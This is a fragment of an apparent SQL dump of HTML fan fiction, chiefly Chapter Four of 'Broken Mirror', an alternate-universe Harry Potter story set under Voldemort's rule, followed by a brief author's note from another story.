class="MsoBodyText">It was a mission. Purely professional, Evan decided. He\ncalled his owl in with a whistle and began to draft a letter to Remus, who was probably working his pelt off as usual.\nCommanders, even though they were part of the higher level officers in the\nsquad, were still given normal missions only that some were much more\ndangerous. There was no class system in the Werewolf Squad &#8211; they thrived on\nequality; the only authority figure was the Squad Leader &#8211; Reylon.\nHe was rarely obeyed, and would likely be ousted soon. Old and sickly, he was\nno longer even fit to hunt. Remus was wildly popular,\nEvan recalled. The last time he had visited the headquarters and asked for\nCommander Lupin, more than fifty werewolf women were\nswarming around him, asking him how Lupin was like,\nwas he good in the &#8211; he stopped his thoughts, trying to keep them away from\nthings as disturbing as that. The letter was being repeatedly smudged and he\ncreased it into a ball, his irritation taking his mind over. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Seeing Severus.\nSeeing the traitor. He took in a deep breath, trying\nto calm himself down. Remus would probably do that\nwith a few well-chosen words and a cup of hot chocolate, he thought. He would look\nhim up personally. But first, he would write a letter to James and inquire\nabout that Muggle girl he picked up. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText" style="text-align:center" align="center">*</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Nothing. Padfoot\ngrowled in a frustrated tone. There was no use being the Potters&#8217; family dog and\nbeing subjected to patting from the atrocious elder Potters and not being able\nto collect any valuable information. He had dug out three bones; carried seven\ncopies of the Daily Prophet back to the house, chased after three dog toys, and\nstill had not gotten anything useful. He had had to resist transforming for the\npast few hours just to do something else other than act like a dog. Perhaps he\ncould visit the kitchens for some food &#8211; the Potters had given him authority to\ngo to the kitchen for as much food as he liked. He padded quietly towards the\ncolossal room that had been stretched by magic at the back of the house. He\neased back slightly as he realized there were a few house elves there. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">And they were talking. Padfoot\nsniffed around slightly and listened intently to the conversation, hoping to\nglean some information from it. It was already suspicious enough that they\ncould speak, knowing that Geraldine Potter &#8216;treated&#8217; every elf in the house.\nBut they said that elves had powerful magic &#8211; perhaps they undid it themselves?\n</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Remmy, you is a silly elf!&#8221;\nthere were two male elves and one female, and the female was screeching angrily\nat one of them &#8211; the one clad in dragging bedclothes with dirt all over and\nbright apologetic blue eyes. Their faces were notably stained with kitchen\ngrease and some grime here and there, the only thing standing out being their\nsparkling, over-large eyes. &#8220;Mistress says we cannot take off the Silencing\nCharm!&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;This is important, Fanny! Very important it is!&#8221; Remmy, the one\nwith blue eyes, whined, throwing his hands up in the air helplessly. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;How important?&#8221; Fanny squeaked,\nleaning in closer to hear his answer. &#8220;Reverse the spell later!&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;The girl Young Master brings home! She is magical!&#8221; Remmy whispered cautiously, looking around to check for any\neavesdroppers. &#8220;She is a witch!&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Witch? But she is Muggle-born! You is lying!&#8221; Fanny\nshrieked, then lowered her volume quickly. The third\nelf only looked helpless between the two arguing elves, wondering what he could\ndo. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;She feels like fire! Very hot! She is a witch!&#8221; Remmy persisted, glaring at Fanny. Padfoot\nrested on his haunches. Every wizard and witch emitted a certain magical aura,\nand those particularly sensitive to it were magical creatures such as unicorns,\ncentaurs and most importantly, house elves. Lily Evans had a\naura they described as hot. Only the most powerful had fire-like auras &#8211; he\nwould have to find a way to check if she had emitted the aura &#8211; or had it been\nJames? </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Show me!&#8221; Fanny demanded angrily, perching her hands on\nher hips. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Master brings the girl back to her home! The girl is\ngone!&#8221; Padfoot barked happily, dispersing the house\nelves immediately. Lily was back at the orphanage, where Severus\nhad ways to pass her anything. He looked like and was an orphan anyway, so he\ncould easily fit in. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Somehow, he knew that Lily played a powerful part in the\nfuture &#8211; whether it was Voldemort&#8217;s regime or\nDumbledore&#8217;s government. He could feel it. Animal instincts were hardly ever\nwrong. At least in his case. He began digging in the\nground for the device McGonagall had invented to transport spoken messages in\nwhat the Muggles called a tape recorder. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText" style="text-align:center" align="center">*</p>\n\n<p class="MsoBodyText" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoBodyText">Disclaimer: The characters mentioned in Harry Potter and\nall others belong to the great J.K. Rowling, creator of the universe we like to\nmess around in. </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Author&#8217;s Note: Peter appears soon. I don&#8217;t like him, and\nthat&#8217;s why I don&#8217;t plan to give him a large role&#8230;Pivotal, yes, large, no.\n*grin* </p>\n\n\n\n\n\n\n'),
	(57, 4, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 97">\n\n<title>BROKEN MIRROR </title>\n\n\n\n<font face="Verdana" size="3"><p>BROKEN MIRROR </p>\n\n<p>Or <i>The World That Never Was </i></p><i>\n\n<p></p>\n\n</i><p>Chapter Four: The Clouded Perceptions of New Circumstances </p>\n\n<p></p>\n\n<p>The dull grey walls of the orphanage flashed past Lily in her panicked run, but she took no heed. The fabric of her dress flowed around her, reminding her endless of her new status. A strange feeling was choking her throat, but she did not know what it was. It lodged a lump in her mouth and a heavy weight in her stomach. She smiled as she remembered the charade Ja - Potter had put up for Pettigrew. She could almost imagine that shock on her face once again. It was a nice memory. </p>\n\n<p>She could not help thinking that Potter himself was a nice memory too. She wondered if he would return to visit her. He had said that he would see her, but he had not specified when. She found herself wanting to see his smile if only to find somewhere where she did not feel out of place again. Right now, she was caught between two worlds, the one of the Death Eaters and Voldemort&#8217;s unchallenged rule, and the other of anger and pain and fear and Muggle inferiority as they declared so. </p>\n\n<p>What was she now? Where would she belong? </p>\n\n<p>Somehow she knew that being with Potter gave her a strange sort of bliss. Other times, she was happy only when the unkempt boy visited and encouraged her never to feel inferior, that she was just as special as anyone out there. He was perhaps one of the only friends she had in the orphanage. Petunia hated her. They were sisters, but Petunia seemed to look down on her immensely. Perhaps it was because she could not do magic. Petunia would have made an excellent Death Eater if only she was a pureblood, she thought. She hated and raged with the furies of hell. And yet the irony was that the purebloods; the Death Eaters had brought her to this state. She hated because of them. </p>\n\n<p>An unwelcome leg in her path tripped her and sent her crashing to the ground, the nasty laughter trailing in her wake as she tried to pick herself up from the ground, the scrape on her knee reminding her of the elf&#8217;s rough treatment the previous night before. She turned her head, expecting round, repulsive Pettigrew. </p>\n\n<p>She was faced with the disgusting sight of overweight, round Pettigrew who possessed the gift of a dirty gab. His hair was a colourless blonde, lying around his head in stringy clumps. His pale face was covered with pimples and his plump figure only served to enhance the lecherous impression he had on others. None of the girls liked him, for he had the bad habit of pinching a girl&#8217;s behind and no one wanted that. </p>\n\n<p>She also happened to be one of his favourite victims. </p>\n\n<p>&quot;Lil,&quot; he grinned lecherously. The look on his face made Lily feel nauseous, but she kept the feeling suppressed with much difficulty. If there was one reason she did not want to stay at the orphanage, it would be the existence of Peter Pettigrew. </p>\n\n<p>&quot;Get away from me,&quot; she gritted her teeth, backing up against the wall as she hoped to get to her little cramped hovel of a room in time. The soothing feeling of her new dress was dissipated slowly with the cold sweat that fear induced. She knew a girl who had committed suicide after being locked into a room with Peter. The death had been grotesque, and those who had read the note she left behind had found ways and means to escape. </p>\n\n<p>They died in the end, for no one escaped the Lord. </p>\n\n<p>&quot;You should always listen to the lady,&quot; an anonymous voice said sternly from an unseen perch. Lily spun around. The voice seemed to have come from her back. She had forgotten that the orphanage had a tendency to echo messages and voices, and quickly returned to her former position. What was that spell that Petunia had been mouthing to disarm someone? It was somehow linked to the word expel&#8230;She bit her lip nervously. Pettigrew seemed unafraid of the voice and continued advancing. </p>\n\n<p>He was coming, and she had no way to escape. </p>\n\n<p>&quot;<i>Expelliarmus</i>!&quot; she yelled suddenly, raising a hand, her palm facing Pettigrew. She had merely meant it as a threat to scare him off, and perhaps escape in the meantime, but she had not expected it to take effect. </p>\n\n<p>Pettigrew was smashed against the end of the hallway, looking dazed as he was flung through the air at great speed. She gasped, staring at her right hand. It was still tingling slightly with some sort of electric feeling. It felt&#8230;amazing. Had she done magic? Pettigrew now stared at her with a shocked expression, disbelieving what she had just done. Lily gulped. If he reported it to the Death Eaters, then she would be burned just like her mother had been. </p>\n\n<i><p>The fire devouring her even as she screamed, the hot fiery flames scalding and destroying her clouds of hair </p>\n\n</i><p>She knew she hadn&#8217;t been there when it happened. But she had felt it. She had felt each and every jolt of pain her mother had felt, together with her father&#8217;s execution by a simple Killing Curse. It had felt like a void of life, cold and unfeeling. It had felt unnatural. The fire had been worse, for she knew each and every sensation that had to do with anything hot. It had devoured her home like a greedy child feasting on sweets, and then it had taken her beloved mother. </p>\n\n<p>That was why she hated fire with a passion that rivalled its dancing flames. </p>\n\n<p>The startled boy still sat on the other side of the hallway, staring at her in shock as the bump on his head began forming. He shook his head in disbelief, and she felt the cold creep of fear up her spine, even as she tried to resist it. Even James can&#8217;t help me now, she thought. </p>\n\n<p>She would face it as her mother would have counselled her to do. It was her own doings, and she would take responsibility. If she had to die, then she would gladly accept death if it had been her fault. Everyone had to die anyway, even the Lord himself. She whispered the words of the Memory Charm under her breath, hoping that he would perhaps forget. The thin strand of hope that the charm would work still remained. </p>\n\n<p>She looked up, jaw locked together with fear. Pettigrew stared blankly at her from the other side of the corridor. Then his eyes cleared of any confusion and he leered at her once again. The fear returned to her senses and she was aware of a drop of sweat travelling down her cheek. </p>\n\n<p>&quot;Now, now, dear girl, you won&#8217;t want to offend me, would you&#8230;And I can see the reason you lured me here,&quot; he taunted, walking closer to Lily and the stink of him getting more pungent as he neared. Lily gulped. Did he remember? There was no hint in his words. And she had in some way lured him here. </p>\n\n<p>&quot;You chased me here,&quot; she managed to say, backing up against the wall. </p>\n\n<p>&quot;Ah, pretty dear&#8230;&quot; he stopped in the middle of his sentence as he fingered the fabric of her dress, shock and some fear in his eyes. </p>\n\n<p>&quot;You&#8230;you&#8217;re&#8230;&quot; he stammered, gaping widely at her. Lily only looked bewildered. Did he or did he not remember? </p>\n\n<p>&quot;You&#8217;re a mistress,&quot; he added. The next moment, he was edging away from her, almost silently begging her not to tell her Death Eater master that he had dared take liberties with a woman belonging to one of the more powerful. He had forgotten, Lily knew. He had. That was good. </p>\n\n<p>A mistress was one of the untouchables. A pariah, outcast, for all the finery she got and all the &#8216;love&#8217; showered upon her by her Death Eater master for the duration that she entertained him for. Then, when he got sick of her, he would get rid of her, preferably in some brothel or another for someone else to enjoy. It was the custom. She had a feeling that Potter would not do that. He seemed too honourable. </p>\n\n<p>Looks were deceiving, though. No matter how nice or wonderful a Death Eater seemed, he was ultimately what he was - a cruel man who would kill for his master any amount of Muggles or half-bloods or anyone else. He was never a man to be trusted. She pushed down the sense of loss even as she vowed never to trust James Potter for anything. </p>\n\n<p>Never. </p>\n\n<p>*</p>\n\n<p></p>\n\n<p>The headquarters of the famous (or, rather, infamous) Rebellion, or the Order of the Phoenix, as they called themselves, was nondescript and austere, just as she had expected them to be. The people were anything but simple, though. The Order of the Phoenix was filled with people of intelligence and great wizardry who had been forced into hiding by their blood, birth or supposed crimes. </p>\n\n<p>&quot;You&#8217;ll get used to here soon, &#8216;tunia,&quot; Severus said reassuringly beside her. She still thought his name strange, but he had explained his father&#8217;s obsession with Latin. Severus Snape. It was perfectly mystical and&#8230;fitting. It sounded surreal and a part of the magical world she was only beginning to learn about. It had shocked her when Severus had suddenly appeared in her room, an urgent look on his face. He had grabbed her hand and immediately taken her out of the room, then taking her towards a small patch of dirt with a trapdoor beneath. The boy who had helped teach them magic was an outlaw. She had known that from the start, for no Muggle-borns were allowed to learn magic. He nodded solemnly to some people he obviously knew, and picked up a vial of clear liquid as he walked along towards a tent in the centre of the room. </p>\n\n<p>It had to be Albus Dumbledore&#8217;s makeshift office, she thought. The famous white-bearded wizard who had stood against the Dark Lord for them would forever be a hero in her eyes, just as he was to so many other Muggles even though he had failed. He gave them hope, and that was enough to help many survive the hard days under the cruel harsh regime of the Death Eaters. She was faced with a man with long white hair that seemed to belie the fact that he was residing in hell, his grey robes contrasting greatly. </p>\n\n<p>&quot;Hello,&quot; he greeted cheerfully, showing her to a seat on a carpet in the corner of the tent. Severus grinned at Petunia&#8217;s surprise, shaking his head in slight gloating as she plopped down, the shock still in her eyes. &quot;Lovely to see you here at last, Miss Evans.&quot; </p>\n\n<p>&quot;Albus Dumbledore,&quot; she whispered. He was just as the rest of the refugees had described (at least, those who had known him) - the same warm happy eccentric person who had once headed a school. </p>\n\n<p>&quot;Yes, that&#8217;s his name, be shocked, be surprised, end of story,&quot; Severus muttered hastily, drawing circles in the somewhat threadbare carpet beneath them. Albus chuckled in his own somewhat undignified position in front of them even as Petunia glanced at him in shock. </p>\n\n<p>&quot;Oh, Severus is grumpy most of the time. You&#8217;ll have to excuse his manners,&quot; Albus said regally even though he was dressed in grey robes and sitting cross-legged on a dirty carpet. The air of the great wizard hung around him, and Petunia could not help but feel awe. He leaned in suddenly. &quot;And of course, an Image-Boosting Charm to frighten others into confessing things about the Death Eaters never hurts anyone,&quot; he whispered in a conspiratorial way, making her giggle. So that was his secret. </p>\n\n<p>Sitting in the strangely austere environment, among others bustling around waving their wands and uttering incantations, she felt as though she was home among her own people. </p>\n\n<p>That&#8217;s something you can&#8217;t beat me in, Lily, she thought somewhat spitefully. You can be prettier and nicer and more well-liked and popular, but you&#8217;ll never have magic like I do. </p>\n\n<p>Albus caught her thoughts and his expression turned into one of forlorn. Petunia did not notice his expression, however - she was focused instead on the vial of clear liquid that Severus held in his left hand and was handing to her. </p>\n\n<p>&quot;Veritaserum,&quot; he explained. &quot;Drink it, and we will test your loyalty.&quot; </p>\n\n<p>*</p>\n\n<p>&quot;Remus!&quot; Evan knocked on the door of his friend&#8217;s steel cage of a hostel room, hoping the ringing noises made by his stinging palm would be loud enough to wake him. Remus had always been a deep sleeper - after all, he needed his strength when he ran wild on the nights of the full moon. &quot;Remus, wake up!&quot; </p>\n\n<p>The door swung open, and a tired Remus greeted him, dark circles under his eyes. He was dressed in simple, ragged pajamas that looked as though they had been worn many times before, the same toned-down look which little of the werewolves had. Having been deprived of all basic necessities and jobs before the Revolution (the time their Lord had taken over the world), they cherished what they had now - power, prestige and wealth. Remus was one of the rare ones who still lived simply. </p>\n\n<p>&quot;What brings you here so late in the night?&quot; he yawned, leaning on the door as he rubbed his eyes, staring at his friend. </p>\n\n<p>&quot;I&#8217;ve got a new mission and&#8230;I need your help,&quot; Evan requested, looking at his friend, who almost instantly became awake, his eyes wide and alert as though he was preparing for the hunt on full moon night. </p>\n\n<p>&quot;It&#8217;s got to be something important if you&#8217;re asking me,&quot; Remus&#8217; eyes were abruptly piercing and penetrating, and Evan felt uncomfortable under his scrutiny. He retreated and ducked slightly. Remus, nice as he could be, was ultimately a ferocious werewolf. He could erupt at any time. He had experienced it a few rare times in the past when they had been at school. </p>\n\n<p>&quot;I know you&#8217;ve got connections&#8230;ways to get to the Rebellion,&quot; Evan whispered quietly, careful not to let anyone hear him. It would be terrible if anyone heard him before his mission had even begun and reported him. &quot;I&#8230;I&#8217;ve&#8230;&quot; </p>\n\n<p>&quot;You&#8217;ve what?&quot; Remus asked curiously, and Evan was surprised to note the new energy in his eyes - as though he knew a lot more than just the little bit that a normal Death Eater or member of the Werewolf Squad did about the Rebellion or how to get to them. Not just how to get to them, but how they worked, how everything functioned&#8230;</p>\n\n<p>&quot;I&#8217;ve been thinking, and&#8230;I&#8230;It&#8217;s been getting harder for me to do anything,&quot; Evan said quietly, bowing his head. He had to make it seem real. If Remus was really a part of the Rebellion, he had to be careful to fool him too. And then he would report his friend, because no one betrayed the Lord. &quot;I just feel&#8230;it&#8217;s&#8230;it&#8217;s&#8230;&quot; </p>\n\n<p>&quot;Cruel?&quot; Remus finished for him, and he nodded silently, trying not to sneak a peek at him. </p>\n\n<p>&quot;I want to&#8230;join the fight against the Death Eaters,&quot; he said quietly. &quot;I want to be a spy for them. I know you have ways of getting to them - you&#8217;re the best espionage agent in the Werewolf Squad.&quot; He finally raised his head, wishing fervently that he would see that Remus was convinced. Remus&#8217;s eyes seemed to have taken on a sad quality, and the amber in his eyes had slowly morphed to a more common brown. </p>\n\n<p>&quot;Come with me,&quot; Remus whispered and he acceded. &quot;I&#8217;ll take you there.&quot; </p>\n\n<p>*</p>\n\n<p>&quot;I have news from both Molly and Sirius,&quot; Dumbledore said gravely as he sat down on the worn carpet after Petunia had left. She had aced the test which they posted to all new volunteers, and had already been assigned to a group of witches who were experimenting with new charms - it would be good for her, especially since she still needed to polish up her charms and other skills in witchcraft. However, Dumbledore&#8217;s statement immediately caught Severus&#8217;s attention. </p>\n\n<p>&quot;Molly&#8217;s news must be very urgent,&quot; Severus commented. &quot;She only sends owls when she has to. What is it, Albus?&quot; </p>\n\n<p>&quot;Her editor has ordered her to find a way into the Ministry and plunge it into scandal, enabling Tom to close it down and execute as many members as possible,&quot; Dumbledore sighed. &quot;And you know most of our loyalists work in the Ministry.&quot; </p>\n\n<p>&quot;What can we do?&quot; Severus asked, plopping down in front of the older man. </p>\n\n<p>&quot;Molly suggests closing the Ministry down and bringing what members of the Ministry there is underground to join up with us,&quot; Dumbledore replied. &quot;I am afraid it seems to be the only way.&quot; </p>\n\n<p>&quot;A large-scale assault would kill many of us, Albus. We number only in the hundreds. If we attempt to save them from the execution, they will pounce on us, hitting two birds with one stone,&quot; Severus replied, his black eyes blazing. &quot;We cannot do so.&quot; </p>\n\n<p>&quot;For now, we must let the Death Eaters believe we are doing so until a new plan comes up. I will send this matter to Intelligence and request battle plans,&quot; Albus said. &quot;Now, to Sirius.&quot; </p>\n\n<p>&quot;What has he found?&quot; Severus asked impatiently. &quot;A potion of mine is simmering, and I must return. It is crucial to our survival.&quot; </p>\n\n<p>&quot;The house elves in the Potter home, apparently, have detected an abnormality in Lily Evans&#8217; magical aura. They have found it warm and like that of a witch&#8217;s,&quot; Albus commented. &quot;It is very strange.&quot; </p>\n\n<p>&quot;I agree. If she is a witch, why has she exhibited no signs of being one? She cannot perform charms when holding a wand - I have watched her trying,&quot; Severus pondered. &quot;There&#8217;s something strange about all this.&quot; </p>\n\n<p>&quot;Albus! We have visitors,&quot; Arabella called from outside. </p>\n\n<p>&quot;Bring him in,&quot; Dumbledore replied. Severus looked as though he was about to get up and leave, but was stopped by Dumbledore, who signalled for him to sit down on the carpet. &quot;This visitor may be of great importance to us.&quot; Seconds later, they were faced with a tired-looking Remus Lupin, with a familiar someone behind. </p>\n\n<p>Evan Rosier, Severus thought with some shock. Remus had led the wolf into their hiding place. He knew how gullible the werewolf could be at times, as he was too inclined to believe in the innocence of someone. Evan Rosier was utterly loyal to the Dark Lord, he knew. He could not have agreed to come to the Rebellion. His old friend from years ago looked as shocked as he was as he stared at him. </p>\n\n<p>&quot;Evan came in the middle of the night and requested that I bring him here,&quot; Remus replied. &quot;I know this may come as a surprise, but&#8230;&quot; </p>\n\n<p>&quot;Remus, you know his loyalties,&quot; Severus said harshly, glaring at his former friend with contempt burning in his dark eyes. He had never truly forgiven his friends for having joined that...abomination of a being. &quot;He will betray us, I assure you. Now, let\'s Obliviate him and be rid of this matter.&quot; </p>\n\n<p>&quot;Severus, I believe Voldemort has many ways to break through a Memory Charm, especially one on a person linked by the bond of master and servant to him,&quot; Dumbledore explained patiently. &quot;And people change. Were you not almost a Death Eater?&quot;</p>\n\n<p>&quot;The difference lies in that word, Albus. \'Almost\' is different from \'Already is\',&quot; Severus seethed, his fingers clenching into fists. &quot;Mark my words. He will betray us.&quot; </p>\n\n<p>&quot;We should welcome a new spy of ours, Severus,&quot; Albus said quietly as he proffered a hand to Rosier, who seemed to look less terrified now, his features settling back into the cool calm Severus remembered from his school days when he would get into fights with James, and Rosier would negotiate his way out of it. </p>\n\n<p>Reluctantly, he offered his hand too. But I\'ll catch you red-handed somehow, Evan, he thought. You won\'t destroy us under the command of your master. </p>\n\n<p>*</p>\n\n<p></p>\n\n<p>The nearly-dilapidated building in front of her, made of chipped-off marble stained yellow with dust and age, held a silent appeal for her. As bad as it looked, it was still the headquarters of the last remaining part of the former government, and she had to pay some respect to it. </p>\n\n<p>Even if she was here to destroy it. She sighed, closing her eyes and wondering how she was going to get out of the mess she had put herself into. Her hot-headedness had made her scream at the editor many times before, and she was known to have never gone back on a promise. She would destroy the Ministry, but there was practically no way to save them. It seemed so hopeless, she bit her lip, watching the sky above. </p>\n\n<p>&quot;I\'m really sorry, Miss, I didn\'t mean to...&quot; she was suddenly and violently bumped into by an unknown someone carrying an enormous stack of books and files. They fell to the ground in a tangle of files and books, parchment flying everywhere as she tried to pick herself up. She pushed aside a bright red folio from her side and stood up, brushing off the yellow skirt she had bought to make her seem like the silly clerk she was supposed to be. </p>\n\n<p>&quot;It\'s okay,&quot; she said brusquely, resisting the urge to give the insufferable man a glare. He was picking up the files one by one, and by the look of them, there were at least fifty-seven...All scattered on the ground. </p>\n\n<i><p>Don\'t help him. They\'ll find out you\'re a spy. </p>\n\n</i><p>She knelt down and started picking up dusty parchment, which she found were the accounts of the Ministry for the past few decades or so. The man beside her was crowned with a lustrous head of carrot-red hair, his face dotted with freckles that covered his nose and cheeks. He was lanky and tall, his eyes a light blue that reminded her of the sky that she had just been observing a few minutes ago. </p>\n\n<p>&quot;Thanks,&quot; he grinned sheepishly at her as they finally picked up all of the files that had been scattered and returned all the parchment to their rightful places. &quot;It\'s just me. I\'m always terribly clumsy.&quot; </p>\n\n<p>&quot;With that pile of stuff, I\'m not surprised you knocked into someone,&quot; Molly said with a sardonic uplift of the eyebrow. They both burst into laughter, and she suddenly found his smile very boosting to the spirit. </p>\n\n<p>&quot;We\'ve got no choice, really...No one comes here, and we\'re short of workers,&quot; he admitted, cocking his head to one side in imitation of a shrug. He shook his head with some sadness. &quot;I\'ve been stuck here for a long time because the Lord found a little impurity in my blood.&quot;</p>\n\n<p>&quot;Impurity? But the Lord...&quot; she said in an indignant tone, surprised by what she had heard. </p>\n\n<p>&quot;Well...I\'m basically broke. My cousin is a Squib, and he\'s an accountant...was, actually,&quot; he said, the cheerful look on his face becoming one of dole and unhappiness. &quot;He joined the Rebellion, and I was expelled from Hogwarts.&quot; </p>\n\n<p>&quot;They thought you were part of the Rebellion?&quot; Molly asked, her attention fixated on the man talking to her. She had perked up immediately ever since she had heard the word \'Rebellion\'. The man nodded quietly. She realised her odd interest in his Rebellion connections was terribly suspicious, especially from a graduate of Hogwarts &#8211; the indoctrination centre. She put on a poise of disdainful disgust, and left, throwing the files on the ground as gently as she could. She would talk to him later, try to find out more. </p>\n\n<p>It could be useful. Besides, he was cute. </p>\n\n<p>*</p>\n\n<p></p>\n\n<p>&quot;Padfoot&#8217;s been unusually bad today,&quot; Geraldine commented as James Apparated into the kitchen of the Potter house. James pulled off his travelling cloak, wondering what she meant by that sentence. Padfoot, though enormous, had always been quite well-behaved. He never dug up holes in their flowerbeds, only near them, and barked loudly only at five in the morning, when he needed to wake up to arrange his paperwork. </p>\n\n<p>&quot;What do you mean, Mom?&quot; James asked, eager to know what kind of mischief Padfoot had been up to in the day he had been gone &#8211; which was quite long indeed considering he hardly ever returned home at nearly midnight. But then again, he had visited Lily at the orphanage after work, and talked (tried to, at least) for quite a long while. She seemed suddenly reluctant to speak to him, and he had spent plenty of time trying to coax words out of her. </p>\n\n<p>&quot;That Grim replica was stomping on the flowers, and getting his feet pricked by the thorns in them!&quot; Quentin explained, not without a trace of anger in his tone. His beloved cross-bred flowers were designed to prick and poison anyone who tried to trespass. It was no wonder his father was angry, James grinned inwardly. </p>\n\n<p>&quot;It&#8217;s all right, Dad, you&#8217;ll get them back up in a few days! How&#8217;s Padfoot?&quot; he replied cheerfully. </p>\n\n<p>&quot;I won&#8217;t get them back. The dog poisoned them by doing his business over what was left! I&#8217;ll have to spend another year breeding them! He deserves to be half-dead, really&#8230;&quot; Quentin said mournfully. He plopped down heavily in a nearby chair, rubbing his temples as though he was being plagued by a headache. </p>\n\n<p>&quot;Padfoot&#8217;s half-dead?&quot; James gaped. Geraldine shrugged, making James feel as though he was in the role of the parent and Geraldine the child instead of the other way around. </p>\n\n<p>&quot;Bloody dog deserved it,&quot; grunted Quentin. For some reason, James felt panic rise up in his heart. Padfoot was probably the only living thing around him who did not go on and on about serving the Dark Lord and how best to all the time, and he treasured having a normal topic to talk about, even if it was one-sided. His legs began to move, and he started striding towards where he knew Padfoot would be lying &#8211; somewhere in the garden, most likely near the warm, comfortable room where the house elves cooked and slept. The kitchen in the house was for special occasions, when his mother deigned to actually burn something to a crisp. </p>\n\n<p>Once out of side, he broke into a run, listening for the panting sounds that he knew that the poison in the flowers caused. Any touch guaranteed slow, painful death &#8211; there had to be enough time for the Potters to send for the squad that was on duty at the time, and report to others that their houses were not safe from Rebellion penetrators. He had brought Padfoot in, and he was immune to the poison, but if he had gone to the flowerbeds without him&#8230;He had probably ten minutes left before the poison acted. </p>\n\n<p>He began to sprint faster. </p>\n\n<p>*</p>\n\n<p></p>\n\n<p>Sirius clenched his teeth. He had already transformed back into his human form, but the pain was too much to bear. Apparently those flowers had contained some sort of poison that the rest of the family were immune to, and he had made a mistake by trying to destroy them. He gripped the grass around him, trying to find a hold. Dumbledore had planted a Portkey somewhere here, and he still had time to get to it&#8230; </p>\n\n<p>He saw an innocuous boot in the corner, unnoticed by anything else. It was battered but bore a tiny mark of a phoenix on the heel. He crawled towards it, feeling his muscles clench in pain and his bones scream. It hurt like hell, but he had to get to his last means of communication. With the last of his strength, he touched it. </p>\n\n<p>But there was no jerk behind his navel, no escape for him from this hell of a place. Instead, a surprised and irritated Snape appeared before him on the grass, kneeling down quickly as he saw the state he was in. </p>\n\n<p>&quot;What did you do again, Black?&quot; he snarled as he rolled Sirius over onto his back, pulling out vials of potions that Sirius could barely recognise. He panted, feeling his body grow colder and the pain rush through him. </p>\n\n<p>&quot;Flowers&#8230;surrounding house&#8230;&quot; he stammered between shallow breaths, feeling Death coming closer to him as the pain intensified. &quot;Stomped on them and destroyed them&#8230;to weaken defences&#8230;&quot; Snape gaped at him in surprise, obviously shocked by the audacity of the deed. </p>\n\n<p>&quot;The last thing you should do in a Death Eater&#8217;s home is to touch anything that looks remotely like protective devices!&quot; Snape hissed angrily. &quot;Believe me, there was plenty of Devil&#8217;s Snare hidden around my home when I still lived there!&quot; </p>\n\n<p>&quot;That&#8217;s precisely why I wanted to destroy some,&quot; Sirius said as Snape forced a potion of some kind down his throat. It made him feel much better, for the pain eased and the cold suddenly retreated. Still, he could not fight the feeling that his end was about to come. </p>\n\n<p>&quot;Padfoot!&quot; </p>\n\n<p>&quot;James!&quot; Sirius warned, motioning for Snape to return to Headquarters as soon as possible despite the state of his hands and legs, which were still bleeding from the assault of the thorns on the flowers. Snape swooped over like a bat, but not before stuffing a vial of potion in one of the holes Sirius had dug a day ago. </p>\n\n<p>&quot;Use it when you need it &#8211; it&#8217;s truth potion &#8211; strongest kind,&quot; he whispered quickly before touching his own Portkey (a piece of cork) and disappearing in the blink of the eye. Sirius clutched his stomach and swiftly transformed just in the nick of time, as James sprinted toward him, still dressed in his official Death Eater robes. </p>\n\n<p>&quot;Padfoot!&quot; James managed to get out. Sirius whined and rolled on the ground, trying to clutch his belly but failing miserably. James pulled out something from one of his pockets, and prised open Sirius&#8217;s mouth. He tried to resist, but the icy liquid dripped into his mouth before he could even move. Suddenly the poison retreated and he felt himself return to normal. He pushed himself up, still feeling weak, and licked James&#8217;s face (which was pretty disgusting, considering he still had the grime of the day on him). &quot;Glad you&#8217;re alive,&quot; James grinned, patting him on the head as he nuzzled Padfoot. </p>\n\n<p>He left the vial carelessly on the floor, not noticing that there was one last drop of the liquid in it &#8211; nor the fact that Padfoot had purposefully pushed it towards the boot, which was his line of communication to the Rebellion. </p>\n\n<p>*</p>\n\n<p></p>\n\n<p>Disclaimer: All characters mentioned in this story belong to JKR, great owner of the Harry Potter universe. No money is being made from this.</p>\n\n<p></p>\n\n<p>\n\n</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p>\n\n</p></font>\n\n '),
	(61, 1, '\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Author\'s Notes:</p>\n<p>Thanks to all who reviewed the &quot;original&quot;. I wrote the original fic \n  in less than two hours and it was sitting there like a skeleton in my closet, \n  so I decided to rewrite it to make it more grammatically correct and readable. \n  I hope you enjoy it. </p>\n<p><b>Warning: This is a voyeurism fic, so if this squicks you or offends you \n  , you certainly won\'t offend me by not reading it. </b></p>\n\n\n'),
